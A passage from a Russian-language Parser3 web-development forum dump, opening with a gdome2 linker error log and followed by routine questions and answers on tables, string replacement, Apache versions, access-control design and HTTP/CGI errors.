/home/givi/gnome/lib/libgdome.a(gdome-xml-domimpl.lo)(.text+0x644): In function `gdome_xml_di_createDocument':\
/home/givi/src/gdome2-0.8.1/libgdome/gdomecore/gdome-xml-domimpl.c:291: undefined reference to `g_return_if_fail_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-xml-domimpl.lo)(.text+0x6ac):/home/givi/src/gdome2-0.8.1/libgdome/gdomecore/gdome-xml-domimpl.c:298: undefined reference to `g_assert_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-xml-domimpl.lo)(.text+0x840): In function `gdome_xml_di_freeDoc':\
/home/givi/src/gdome2-0.8.1/libgdome/gdomecore/gdome-xml-domimpl.c:346: undefined reference to `g_assert_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-xml-domimpl.lo)(.text+0x86b):/home/givi/src/gdome2-0.8.1/libgdome/gdomecore/gdome-xml-domimpl.c:349: undefined reference to `g_return_if_fail_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-xml-domimpl.lo)(.text+0x905): In function `gdome_xml_di_createDocFromURI':\
/home/givi/src/gdome2-0.8.1/libgdome/gdomecore/gdome-xml-domimpl.c:382: undefined reference to `g_assert_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-xml-domimpl.lo)(.text+0x9db):/home/givi/src/gdome2-0.8.1/libgdome/gdomecore/gdome-xml-domimpl.c:387: undefined reference to `g_return_if_fail_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-xml-domimpl.lo)(.text+0xa75): In function `gdome_xml_di_createDocFromMemory':\
/home/givi/src/gdome2-0.8.1/libgdome/gdomecore/gdome-xml-domimpl.c:446: undefined reference to `g_assert_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-xml-domimpl.lo)(.text+0xb6b):/home/givi/src/gdome2-0.8.1/libgdome/gdomecore/gdome-xml-domimpl.c:453: undefined reference to `g_return_if_fail_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-xml-domimpl.lo)(.text+0xca0): In function `gdome_xml_di_createDocFromURIWithEntitiesTable':\
/home/givi/src/gdome2-0.8.1/libgdome/gdomecore/gdome-xml-domimpl.c:537: undefined reference to `g_assert_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-xml-domimpl.lo)(.text+0xeab):/home/givi/src/gdome2-0.8.1/libgdome/gdomecore/gdome-xml-domimpl.c:542: undefined reference to `g_return_if_fail_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-xml-domimpl.lo)(.text+0xf60): In function `gdome_xml_di_createDocFromMemoryWithEntitiesTable':\
/home/givi/src/gdome2-0.8.1/libgdome/gdomecore/gdome-xml-domimpl.c:639: undefined reference to `g_assert_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-xml-domimpl.lo)(.text+0x118b):/home/givi/src/gdome2-0.8.1/libgdome/gdomecore/gdome-xml-domimpl.c:646: undefined reference to `g_return_if_fail_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-xml-domimpl.lo)(.text+0x121f): In function `gdome_xml_di_saveDocToFile':\
/home/givi/src/gdome2-0.8.1/libgdome/gdomecore/gdome-xml-domimpl.c:726: undefined reference to `g_assert_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-xml-domimpl.lo)(.text+0x125b):/home/givi/src/gdome2-0.8.1/libgdome/gdomecore/gdome-xml-domimpl.c:729: undefined reference to `g_return_if_fail_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-xml-domimpl.lo)(.text+0x12e3): In function `gdome_xml_di_saveDocToFileEnc':\
/home/givi/src/gdome2-0.8.1/libgdome/gdomecore/gdome-xml-domimpl.c:755: undefined reference to `g_assert_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-xml-domimpl.lo)(.text+0x132b):/home/givi/src/gdome2-0.8.1/libgdome/gdomecore/gdome-xml-domimpl.c:758: undefined reference to `g_return_if_fail_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-xml-domimpl.lo)(.text+0x13b9): In function `gdome_xml_di_saveDocToMemory':\
/home/givi/src/gdome2-0.8.1/libgdome/gdomecore/gdome-xml-domimpl.c:784: undefined reference to `g_assert_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-xml-domimpl.lo)(.text+0x13fb):/home/givi/src/gdome2-0.8.1/libgdome/gdomecore/gdome-xml-domimpl.c:791: undefined reference to `g_return_if_fail_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-xml-domimpl.lo)(.text+0x1495): In function `gdome_xml_di_saveDocToMemoryEnc':\
/home/givi/src/gdome2-0.8.1/libgdome/gdomecore/gdome-xml-domimpl.c:820: undefined reference to `g_assert_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-xml-domimpl.lo)(.text+0x14db):/home/givi/src/gdome2-0.8.1/libgdome/gdomecore/gdome-xml-domimpl.c:827: undefined reference to `g_return_if_fail_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-xml-domimpl.lo)(.text+0x1562): In function `gdome_xml_di_enableEvent':\
/home/givi/src/gdome2-0.8.1/libgdome/gdomecore/gdome-xml-domimpl.c:848: undefined reference to `g_return_if_fail_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-xml-domimpl.lo)(.text+0x15d2): In function `gdome_xml_di_disableEvent':\
/home/givi/src/gdome2-0.8.1/libgdome/gdomecore/gdome-xml-domimpl.c:869: undefined reference to `g_return_if_fail_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-xml-domimpl.lo)(.text+0x1642): In function `gdome_xml_di_eventIsEnabled':\
/home/givi/src/gdome2-0.8.1/libgdome/gdomecore/gdome-xml-domimpl.c:891: undefined reference to `g_return_if_fail_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-xml-xmlutil.lo)(.text+0x11f8): In function `gdome_xmlNewNs':\
/home/givi/src/gdome2-0.8.1/libgdome/gdomecore/gdome-xml-xmlutil.c:1100: undefined reference to `g_return_if_fail_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-xml-str.lo)(.text+0x1e4):/home/givi/src/gdome2-0.8.1/libgdome/gdomecore/gdome-xml-str.c:170: more undefined references to `g_return_if_fail_warning' follow\
/home/givi/gnome/lib/libgdome.a(gdome-xml-node.lo)(.text+0x321f): In function `gdome_xml_n_removeEventListener':\
/home/givi/src/gdome2-0.8.1/libgdome/gdomecore/gdome-xml-node.c:1561: undefined reference to `g_assert_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-xml-node.lo)(.text+0x32eb): In function `gdome_xml_n_dispatchEvent':\
/home/givi/src/gdome2-0.8.1/libgdome/gdomecore/gdome-xml-node.c:1601: undefined reference to `g_return_if_fail_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-xml-node.lo)(.text+0x3408): In function `gdome_xml_n_subTreeDispatchEvent':\
/home/givi/src/gdome2-0.8.1/libgdome/gdomecore/gdome-xml-node.c:1643: undefined reference to `g_return_if_fail_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-xml-node.lo)(.text+0x355b): In function `gdome_xml_n_canAppend':\
/home/givi/src/gdome2-0.8.1/libgdome/gdomecore/gdome-xml-node.c:1676: undefined reference to `g_return_if_fail_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-xml-node.lo)(.text+0x37d3): In function `gdome_xml_n_eventEnabledByCode':\
/home/givi/src/gdome2-0.8.1/libgdome/gdomecore/gdome-xml-node.c:1766: undefined reference to `g_return_if_fail_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-xml-node.lo)(.text+0x3860):/home/givi/src/gdome2-0.8.1/libgdome/gdomecore/gdome-xml-node.c:1776: undefined reference to `g_assert_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-xml-entityref.lo)(.text+0x3e): In function `gdome_xml_er_query_interface':\
/home/givi/src/gdome2-0.8.1/libgdome/gdomecore/gdome-xml-entityref.c:79: undefined reference to `g_return_if_fail_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-xml-documentf.lo)(.text+0x3e): In function `gdome_xml_df_query_interface':\
/home/givi/src/gdome2-0.8.1/libgdome/gdomecore/gdome-xml-documentf.c:83: undefined reference to `g_return_if_fail_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-xml-documentt.lo)(.text+0x122): In function `gdome_xml_dt_unref':\
/home/givi/src/gdome2-0.8.1/libgdome/gdomecore/gdome-xml-documentt.c:147: undefined reference to `g_return_if_fail_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-xml-documentt.lo)(.text+0x205): In function `gdome_xml_dt_query_interface':\
/home/givi/src/gdome2-0.8.1/libgdome/gdomecore/gdome-xml-documentt.c:192: undefined reference to `g_return_if_fail_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-xml-documentt.lo)(.text+0x2da): In function `gdome_xml_dt_name':\
/home/givi/src/gdome2-0.8.1/libgdome/gdomecore/gdome-xml-documentt.c:220: undefined reference to `g_return_if_fail_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-xml-documentt.lo)(.text+0x36e):/home/givi/src/gdome2-0.8.1/libgdome/gdomecore/gdome-xml-documentt.c:242: more undefined references to `g_return_if_fail_warning' follow\
/home/givi/gnome/lib/libgdome.a(gdome-xml-documentt.lo)(.text+0x640): In function `gdome_xml_dt_internalSubset':\
/home/givi/src/gdome2-0.8.1/libgdome/gdomecore/gdome-xml-documentt.c:337: undefined reference to `g_assert_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-xml-nodel.lo)(.text+0x10b): In function `gdome_xml_nl_ref':\
/home/givi/src/gdome2-0.8.1/libgdome/gdomecore/gdome-xml-nodel.c:99: undefined reference to `g_return_if_fail_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-xml-nodel.lo)(.text+0x1ba): In function `gdome_xml_nl_unref':\
/home/givi/src/gdome2-0.8.1/libgdome/gdomecore/gdome-xml-nodel.c:120: undefined reference to `g_return_if_fail_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-xml-nodel.lo)(.text+0x24b): In function `gdome_xml_nl_query_interface':\
/home/givi/src/gdome2-0.8.1/libgdome/gdomecore/gdome-xml-nodel.c:154: undefined reference to `g_return_if_fail_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-xml-nodel.lo)(.text+0x356): In function `gdome_xml_nl_item':\
/home/givi/src/gdome2-0.8.1/libgdome/gdomecore/gdome-xml-nodel.c:177: undefined reference to `g_return_if_fail_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-xml-nodel.lo)(.text+0x436): In function `gdome_xml_nl_length':\
/home/givi/src/gdome2-0.8.1/libgdome/gdomecore/gdome-xml-nodel.c:209: undefined reference to `g_return_if_fail_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-xml-document.lo)(.text+0xfa):/home/givi/src/gdome2-0.8.1/libgdome/gdomecore/gdome-xml-document.c:172: more undefined references to `g_return_if_fail_warning' follow\
/home/givi/gnome/lib/libgdome.a(gdome-xml-document.lo)(.text+0x1115): In function `gdome_xml_doc_importNode':\
/home/givi/src/gdome2-0.8.1/libgdome/gdomecore/gdome-xml-document.c:776: undefined reference to `g_assert_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-xml-document.lo)(.text+0x11f5): In function `gdome_xml_doc_createEvent':\
/home/givi/src/gdome2-0.8.1/libgdome/gdomecore/gdome-xml-document.c:823: undefined reference to `g_return_if_fail_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-xml-document.lo)(.text+0x12fa): In function `gdome_xml_doc_enableEventByCode':\
/home/givi/src/gdome2-0.8.1/libgdome/gdomecore/gdome-xml-document.c:849: undefined reference to `g_return_if_fail_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-xml-document.lo)(.text+0x139d): In function `gdome_xml_doc_disableEventByCode':\
/home/givi/src/gdome2-0.8.1/libgdome/gdomecore/gdome-xml-document.c:866: undefined reference to `g_return_if_fail_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-xml-document.lo)(.text+0x142d): In function `gdome_xml_doc_eventEnabledByCode':\
/home/givi/src/gdome2-0.8.1/libgdome/gdomecore/gdome-xml-document.c:890: undefined reference to `g_return_if_fail_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-xml-attribute.lo)(.text+0x3e): In function `gdome_xml_a_query_interface':\
/home/givi/src/gdome2-0.8.1/libgdome/gdomecore/gdome-xml-attribute.c:96: undefined reference to `g_return_if_fail_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-xml-attribute.lo)(.text+0x1c3):/home/givi/src/gdome2-0.8.1/libgdome/gdomecore/gdome-xml-attribute.c:160: more undefined references to `g_return_if_fail_warning' follow\
/home/givi/gnome/lib/libgdome.a(gdome-evt-propagation.lo)(.text+0x39f): In function `gdome_evt_fireEvent':\
/home/givi/src/gdome2-0.8.1/libgdome/events/gdome-evt-propagation.c:131: undefined reference to `g_assert_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-evt-mevent.lo)(.text+0x11b): In function `gdome_evt_mevnt_unref':\
/home/givi/src/gdome2-0.8.1/libgdome/events/gdome-evt-mevent.c:103: undefined reference to `g_return_if_fail_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-evt-mevent.lo)(.text+0x1eb): In function `gdome_evt_mevnt_query_interface':\
/home/givi/src/gdome2-0.8.1/libgdome/events/gdome-evt-mevent.c:143: undefined reference to `g_return_if_fail_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-evt-mevent.lo)(.text+0x261): In function `gdome_evt_mevnt_attrChange':\
/home/givi/src/gdome2-0.8.1/libgdome/events/gdome-evt-mevent.c:164: undefined reference to `g_return_if_fail_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-evt-mevent.lo)(.text+0x2d3): In function `gdome_evt_mevnt_attrName':\
/home/givi/src/gdome2-0.8.1/libgdome/events/gdome-evt-mevent.c:182: undefined reference to `g_return_if_fail_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-evt-mevent.lo)(.text+0x343): In function `gdome_evt_mevnt_newValue':\
/home/givi/src/gdome2-0.8.1/libgdome/events/gdome-evt-mevent.c:202: undefined reference to `g_return_if_fail_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-evt-mevent.lo)(.text+0x3b3):/home/givi/src/gdome2-0.8.1/libgdome/events/gdome-evt-mevent.c:222: more undefined references to `g_return_if_fail_warning' follow\
/home/givi/gnome/lib/libgdome.a(gdome-treegc.o)(.text+0xd7): In function `gdome_treegc_addNode':\
/home/givi/src/gdome2-0.8.1/libgdome/gdome-treegc.c:48: undefined reference to `g_assert_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-treegc.o)(.text+0x154): In function `gdome_treegc_delNode':\
/home/givi/src/gdome2-0.8.1/libgdome/gdome-treegc.c:65: undefined reference to `g_return_if_fail_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-treegc.o)(.text+0x1d7):/home/givi/src/gdome2-0.8.1/libgdome/gdome-treegc.c:79: undefined reference to `g_assert_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-treegc.o)(.text+0x201): In function `gdome_treegc_invalidateNode':\
/home/givi/src/gdome2-0.8.1/libgdome/gdome-treegc.c:96: undefined reference to `g_return_if_fail_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-treegc.o)(.text+0x2a5): In function `gdome_treegc_livenodes':\
/home/givi/src/gdome2-0.8.1/libgdome/gdome-treegc.c:115: undefined reference to `g_return_if_fail_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-treegc.o)(.text+0x307):/home/givi/src/gdome2-0.8.1/libgdome/gdome-treegc.c:120: undefined reference to `g_assert_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-xml-xpns.lo)(.text+0xd3): In function `gdome_xml_xpns_unref':\
/home/givi/src/gdome2-0.8.1/libgdome/gdomecore/gdome-xml-xpns.c:111: undefined reference to `g_return_if_fail_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-xml-pi.lo)(.text+0x3e): In function `gdome_xml_pi_query_interface':\
/home/givi/src/gdome2-0.8.1/libgdome/gdomecore/gdome-xml-pi.c:96: undefined reference to `g_return_if_fail_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-xml-pi.lo)(.text+0x113): In function `gdome_xml_pi_target':\
/home/givi/src/gdome2-0.8.1/libgdome/gdomecore/gdome-xml-pi.c:124: undefined reference to `g_return_if_fail_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-xml-pi.lo)(.text+0x183): In function `gdome_xml_pi_data':\
/home/givi/src/gdome2-0.8.1/libgdome/gdomecore/gdome-xml-pi.c:145: undefined reference to `g_return_if_fail_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-xml-pi.lo)(.text+0x1fe): In function `gdome_xml_pi_set_data':\
/home/givi/src/gdome2-0.8.1/libgdome/gdomecore/gdome-xml-pi.c:170: undefined reference to `g_return_if_fail_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-xml-cdatas.lo)(.text+0x3e):/home/givi/src/gdome2-0.8.1/libgdome/gdomecore/gdome-xml-cdatas.c:95: more undefined references to `g_return_if_fail_warning' follow\
collect2: ld returned 1 exit status\
make[3]: *** [parser3] Ошибка 1\
make[2]: *** [all-recursive] Ошибка 1\
make[1]: *** [all-recursive] Ошибка 1\
make: *** [all-recursive] Ошибка 1\
[/code]\
\
Очень хочу его таки собрать, однако..."
"45599","Как убрать из текста <p>+пробел через replace?\
\
Пробовал:\
$rep[^table::create{from	to\
<p> 	}]\
Не помогает.\
\
Я понимаю, что RTFM, но где именно R?"
"45600","Разбейте текст на куски оператором ^split[<p> ;lv]\
, а потом соедините полученные куски: получите исходный текст без разделителя."
"45601","Проблема в том, что в конце каждого второго текста в БД стоит <p>+пробел.\
Больше нигде в тексте такое сочетание не встречается."
"45604","Есть таблица\
\
[code]\
$cat[^table::create{n	name	uri \
1	Первая	/ \
2	Вторая	/2.html \
3	Третья	/3.html \
}]\
[/code]\
\
Как мне взять uri, например, 2 страницы?\
\
Читал все по классу table, много пробовал, но не получается."
"45605","[code]^if(in \"/news/\"){...}[/code]\
\
Как исключить /news/index.html?"
"45606","[code]\
$stuff[^table::create{name      pos   status \
Александр   босс   1 \
Сергей     технолог   1 \
Тема       арт-директор   2 \
}] \
^if(^stuff.locate[name;Тема]){ \
    Запись найдена в строке номер ^stuff.line[].<br>$stuff.name: $stuff.pos<br> \
}{ \
    Запись не найдена \
}[/code] Тебе это не о чем не говорит?"
"45608","Чтобы когда заходишь на www.сайт.ru/news/index.html ссылка не ставилась на на www.сайт.ru/news/."
"45609","[code]^if(^cat.locate[n;2]){$cat.uri}{Не найдено}[/code]\
\
Спасибо!"
"45610","[url=\"http://www.parser.ru/forum/?id=45604\"]предыстория[/url]\
\
Есть таблица:\
[code]\
$cat[^table::create{\
n	name	uri	status\
1	Первая	/\
2	Вторая	/2/\
3	Третья	/3/\
}][/code] \
\
Пример, допустим запросили адрес www.сайт.ru/2/\
\
При выполнении условия \
[code]\
^if($cat.uri eq $request:uri){\
	$cat.name\
}[/code]\
напишется \"Вторая\".\
\
Можно ли в зависимости от выполнения условия менять таблицу? Т.е. чтобы таблица стала\
[code]\
n	name	uri	status\
1	Первая	/\
2	Вторая	/2/	active\
3	Третья	/3/\
[/code]"
"45611","то будет:\
\
n	name	uri	status\
1	Первая	/	active\
2	Вторая	/2/	active\
3	Третья	/3/	active\
\
\
Тогда зачем это нужно? Никак не пойму."
"45612","а вообще и реплейс должен срабатывать, по крайней мере у меня в типографе работает."
"45613","От добра добра не ищут.\
\
Применительно к данной ситуации: Apache 1.3 надежный, удобный и производительный веб-сервер. Без крайней необходимости переходить на версию 2.0 не рекомендуется."
"45614","Большое спасибо! Так - работает."
"45615","Ты должен будешь поставить условие так чтоб проверялся путь запроса, типа http://www.site.ru/index.html . И если он будет такого плана то будет выполняться код по переадресации пользователя на эту же страницу только без index.html\
\
\
Почитай лучше учебник! Эксперементируй! И если ты работаешь на локальной машине(или установил пакет Denwer), то это вообще без проблем."
"45616","Ну тогда напиши так:\
\
	[code]^if($cat.uri eq $request:uri){\
$cat.name страница сейчас активна\
}[/code]"
"45618","А, кстати говоря, есть ли еще какие-то различия в апачах применительно к Parser? \
Я всегда работал с 1.3, а тут Заказчику надо сделать под 2-й Апач (вроде как RedHat 9 сейчас по-умолчанию идет с Apache 2). \
\
И я вот думаю: то ли все-таки убедить Заказчика поставить 1.3, то ли надеяться, что и со 2-м все будет ОК?"
"45619","с ними, проверено, собирается.\
с более новыми версиями, конечно, возможны нестыковки.\
\
в воскресенье у меня самолёт, завтра буду собираться, так что не ожидайте быстрых ответов.\
\
наберитесь терпения и следуйте INSTALL, всё получится."
"45620","Вопрос(ы) наверное ближе к Misha v.3.\
Но если кто знает ответьте плиз.\
\
Делаю сейчас интранет сайт. Не слишком сложный, основная роль его это community внутри компании. Форум, новости, опросы, обсуждения и т.д.\
\
В часности всё это пытаюсь закрутить на форуме. Т.е. чтобы к новости или публикации написать можно было комменты и т.д. просто липлю к объекту блок например \"comments\" и он дает нужную функциональность. И в БД создаю таблицу связей между объектами(страницами) и трэдами.\
\
Но вот чего не могу сообразить: используя класс аутентификации, как реализовать управление правами на форумные сообщения?\
В таблице ACL как я понял, или не понял, просто указаны: объект и права на него(числом).\
А как указать права например на определеннй трэд или форум(они в отдельных талицах БД), получается что они тоже должны быть представлены как объекты? или как?\
\
Несколькими постами ниже обсуждалось ( http://www.parser.ru/forum/?id=45569 ) но я что-то ничего не понял, может не правильно понимаю...\
Объект это что за сущность? это нечто(страница, книига, автор) из дерева сайт? я не очень понимаю....\
И я так понял что engine выступает еще и в роли интерпритатора встроеных(в блоки, в шаблоны, в xml) макросов, они же употребляются в конструкторах объектов?\
Т.е. чтобы например указать ссылку на объект, который может со временем изменить свое положение с дереве, \
пишут в блоке например нечто такое: \
[code]\
<a href=\"^object.URL[ссылка на объект]\">ссылка на объект</a>\
[/code]\
\
Если это возможно могли бы вы попонятнее объяснить эту философию?"
"45621","Версия: Parser/3.1.4 (compiled on i386-pc-win32)\
Тип ошибки: smtp.execute \
Источник ошибки: «send» \
--\
\
Возникакет при попытке отправить аттач размером 222 кб.\
Тот же самый код работает без проблем с аттачами меньших размеров. \
\
В чем грабли? \
Это баг или просто нельзя файлы такого объема отправлять?"
"45623","Есть в парсере штатный метод, которым можно переименовать хранящийся на сервере файл? Не открывая и не пересохраняя."
"45624","[quot]наберитесь терпения и следуйте INSTALL, всё получится.[/quot]\
\
Спасибо, Александр. Буду брать пример с вас :)))"
"45626","Выложил бы кто-нибудь \"API\" к мишиному классу авторизации. Ведь кто-то пользуется им? Есть же наработки. А то для простых смертных непрограммистов это всё-таки сложновато :)))"
"45627","- класс авторизации не лптимизировался для ситуаций, когда есть очень большое количество записей в таблице ACL. а именно это произойдет если будете раздавать права на _сообщения_ в форуме.\
\
- в общем случае классу авторизации пофигу на что вы даете права. там тупая битовая арифметика. если у вас в ACL в object_id будет лежать ссылка на сообщение форума - теоретически все должно работать. однако есссно не должно быть дублирование id, а это очень вероятно, если вы хоите давать права на сущности, лежащие в разных таблицах, т.е. вам придется вносить изменения в класс. а как все считается - ищите в форуме, я описывал. \
\
- когда мы делали возможности пользователям комментировать новости, то ставился это форум, а при создании новостей в таблицу forum добавлялась новая запись. т.е. имело место быть куча форумов. отдельный форум привязывался к новости.\
\
- в engine воспринимайте объект как документ. в большинстве случаев это так (есть правда еще фиктивные объекты, которые не имеют собственного представления на сайте, но пока забудьте об этом).\
\
- про интерпретатор я не понял.\
\
- со ссылками примерно так. только как сказано в описании engine если нужно из блока одного объекта поставить ссылку на другой объект пишем так: <a object-id=\"123\">ссылка</a> или так <a object-id=\"123\"/>. а дальше настоящий URL подставит сам engine, и в xml уже будет <a href=\"/bla/bla/bla/\">ссылка</a>... если надо получить ссылку на какой-нить объект в обработчике, то пишем что-то типа этого: <item href=\"^getPath[123]\" />"
"45628","где используется класс авторизации и разделения доступа. правда все продвигается медленно, ибо делаю этот пример дома."
"45629","... то к вашим услугам. Всё чем могу (не Бог весть, но мало-ли)."
"45630","могу прислать на email краткое описание того, что я хочу сделать в итоге. если заинтересует и останется желание помочь - пришлю все что уже готово. вы можете выбрать и сделать любую часть."
"45631","Подскажите, как запустить скрипт с другого сервера?\
Например на локалхосте парсер стоит, надо чтобы посредством кода персер запускался скрипт php или cgi с http://site.ru/test.php\
\
пробовал\
^file::exec['http://site.ru/test.php']\
\
пишет файл ненайден. смотрит на локалхосте. А как в и-нет что бы?\
\
Заранее спасибо соплеменники =)"
"45634","Пасиба...."
"45635","Здравствуйте!\
\
Какие планы насчет исправления бага с падением при передаче из cgi бинарных данных?\
\
1.html\
---\
^file::cgi[1.cgi]\
---\
\
1.cgi\
---\
#!/usr/bin/perl\
\
print \"Content-type: application/octet-stream\\n\\n\";\
\
binmode(STDOUT);\
for(0..255){\
    printf(\"%c\", $_);\
}\
---\
\
>parser3 1.html\
CORD_cat_char_star(,y,) y==\"\"\
\
This application has requested the Runtime to terminate it in an unusual way.\
Please contact the application's support team for more information."
"45637","Спасибо за ответы!\
\
1. Наверное я загнул с раздачей прав на сообщения, видимо для форума нужно мастерить отдельный механизм. Делать не буду времени нету.\
\
Но как мне кажется из того что есть можно сделать кое-что — просто придумать для объекта (страницы) права вроде 8 - просматиривать коментарии, 16 - добавлять коментарии, 32 - отвечать на коментарии и т.д., т.е. при обсуждении например новости, доступной для чтения например директорам, этот механизм будет очень даже работать. \
\
Единственный минус, что в самом форуме нельзя будет разделять доступ по темам или форумам, но можно к форуму(как к разделу сайта) вцелом давать права, т.е. как я понимаю например чтобы забанить кого-то, нужно в ACL для страницы с форумом убрать права (обнулить нужные checkbox'ы). Наверное примерно так на этом форуме сделано?\
\
2. Как работает аутентификация я понял еще раньше, видимо неудачно сформулировал то, что думал спросить. Чтобы мне понять как оно работает пришлось разобраться с битовой арифметикой. Я если чесно был поражен изяществом и простотой.\
\
3. Вот тут я накосячил видимо, я думал привязывать не форум к объекту , а трэды к объекту, но с форумом думаю будет проще. Будет меньше связей.\
\
Теперь про самое сложное :)) имхо\
\
4. Пока я домыслил объект это документ на сайте, т.е. по любому это страница, или раздел (ну как эта страница форума), а тип этой страницы, т.е. объекта может быть разный, например: товар, новость, статья, корневой объект сайта или вспомогательная навигация и еще много чего можно придумать, но все они по сути в конечной форме страницы.\
\
5. Наверное не очень слово правильное применил \"интерпритатор\"... Я имел ввиду как раз замены макросов — подстановки. Вопрос родился у меня: в каком моменте происходят подстановки? Когда обработчик процесится? или в другой момент?\
[quot]\
Для того, чтобы обработать блок текущего объекта в шаблоне нужно написать ^parseBlock[имя блока] при этом, если у нас существует несколько блоков с заданным именем, то обработаются они все в последовательности, заданной в админе.\
[/quot]\
Шаблоны тут xsl ? или это еще когда не было xsl? как шаблоны обрабатываются?\
\
P.S. С примером сайта посильно помогу, почта welcome."
"45638","1. не вижу смысла в раздаче прав на сообщения/треды форума. прав на форум - более чем достаточно.\
\
4. у меня сообщение форума - не отдельный объект. объект - форум ( /forum/ ). а то, что у него есть несколько вариантов отображения (с разными id=xyz) - дело десятое.\
\
5. у меня есть два метода: parseBlockPreProcess и parseBlockPostProcess. один делает что-то с содержимым блока до того, как начнет работать обработчик блока, а другой - после (в реалиях несколько сложнее, но так проще для понимания). в этих методах и происходят упомянутые подстановки.\
\
у меня была ошибка, следует читать \"обработчике\", а не \"шаблоне\". шаблон это чистый xsl, никаких парсерных инструкций там не и в помине. и не будет. тот кто делает сайт весь код пишет только в обработчиках. там логика. в шаблонах - оформление (xsl)"
"45639","Спасибо за ответ!\
\
Разобрался. \
\
Огромное спасибо."
"45644","Надёжнее такую операцию проводить сразу с файлами + Shift"
"45646","Переименовать в bz2. Хостинг не одавал.\
\
Собрано под FreeBSD 5.3 - правда snapshot из cvs, но работает под нагрузкой тысячи хитов в сутки -- все ок.\
С поддержкой xml, но без БД(не нужно было)\
http://yermak.ru/parser3.zip"
"45647","У меня выводится строка после поиска в таком виде в котором она представлена еще до обработки, т.е. видны все конструкторы, методы и т.п. трибуха.\
Мне всё это нужно удалить, а ещё лучше сделать так как выглядел бы текст будь там пользователь.\
Или задать зону сканирования, но это лишнее и не нужное..."
"45648","Какой такой поиск? Какой такой пользователь? Какое такое сканирование? Ничего неясно...\
\
Правильно поставленная задача — это уже половина решения."
"45649","У меня стоит поиск по сайту. Посли индексации сайта он ищет в проиндексированной базе(Текставая PHP-база). В проиндексированной базе находится вместо \"Привет мир\" [code]\
$str[Привет мир]\
$str[]\
[/code]\
Мне нужно сделать так чтоб он выводил весь этот текст уже обработанным."
"45650","Ссылка совершенно не в тему.\
\
Я и не собираюсь ковыряться парсером в бинаре. Мне нужно из xml, созданного парсером, сделать pdf, и отдать результат клиенту. Гонять xml через клиента чтобы потом отдельным скриптом создать pdf - не вариант. Временные файлы для последующего ^file::load[binary вообще не рассматриваются."
"45651","Имею такой файлик: \
[code]\
@main[]\
$response:charset[windows-1251]\
^try{\
	$test[^file::load[text;http://*******/test.txt?111; $.method[GET] $.timeout(60)]]\
	$test.text<br>\
}{\
	$exception.handled(1)\
	ERROR!<br>\
	type:		$exception.type<br>\
	comment:	$exception.comment<br>\
	source:		$exception.source<br>\
	file:		$exception.file<br>\
	lineno:		$exception.lineno<br>\
}\
^try{\
	$test[^file::load[text;http://*******/test.txt?222; $.method[GET] $.timeout(60)]]\
	$test.text<br>\
}{\
	$exception.handled(1)\
	ERROR!<br>\
	type:		$exception.type<br>\
	comment:	$exception.comment<br>\
	source:		$exception.source<br>\
	file:		$exception.file<br>\
	lineno:		$exception.lineno<br>\
}\
[/code]\
\
Содержимое запрашиваемого файла:\
Это просто текст\
\
Получаю ответ:\
Это просто текст\
ERROR!\
type: http.timeout\
comment: error receiving response: Invalid argument (22)\
source: load\
file: /..../load_simple.p3\
lineno: 16\
\
Т.е. первый запрос проходит на ура, второй не проходит.\
Подскажите, почему так получается?"
